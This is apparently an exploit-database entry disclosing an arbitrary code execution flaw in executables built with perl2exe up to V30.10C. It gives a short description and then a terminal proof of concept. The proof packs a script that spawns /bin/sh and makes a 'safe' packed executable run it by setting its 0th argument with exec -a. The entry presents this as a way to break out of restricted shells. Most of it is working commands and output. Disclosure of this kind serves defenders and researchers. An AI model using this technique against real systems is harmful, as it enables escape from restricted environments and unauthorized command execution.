Executables created with perl2exe < v30.10c arbitrary code execution Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2024-02-27 | Type : remote | Platform : multiple

---

[+] Code ...

# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution
# Date: 10/17/2023
# Exploit Author: decrazyo
# Vendor Homepage: https://www.indigostar.com/
# Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz
# Version: <= V30.10C
# Tested on: Ubuntu 22.04

# Description:
perl2exe packs perl scripts into native executables.
Those executables use their 0th argument to locate a file to unpack and execute.
Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument.
That can be useful for breaking out of restricted shell environments.

# Proof and Concept:
user@testing:~/example$ ls
p2x-30.10-Linux-x64-5.30.1.tar.gz perl2exe-Linux-x64-5.30.1
user@testing:~/example$
user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack.
user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating safe
user@testing:~/example$
user@testing:~/example$ # Check that the program executes as expected.
user@testing:~/example$ ./safe
I am completely safe
user@testing:~/example$
user@testing:~/example$ # Create and pack a "malicious" script that we want to execute.
user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating malicious
user@testing:~/example$
user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions.
user@testing:~/example$ chmod -x malicious
user@testing:~/example$ ./malicious
-bash: ./malicious: Permission denied
user@testing:~/example$
user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument.
user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself.
user@testing:~/example$ bash -c 'exec -a malicious ./safe'
j/k I am malicious AF
$ pstree -s $$
systemd───sshd───sshd───sshd───bash───safe───sh───pstree
$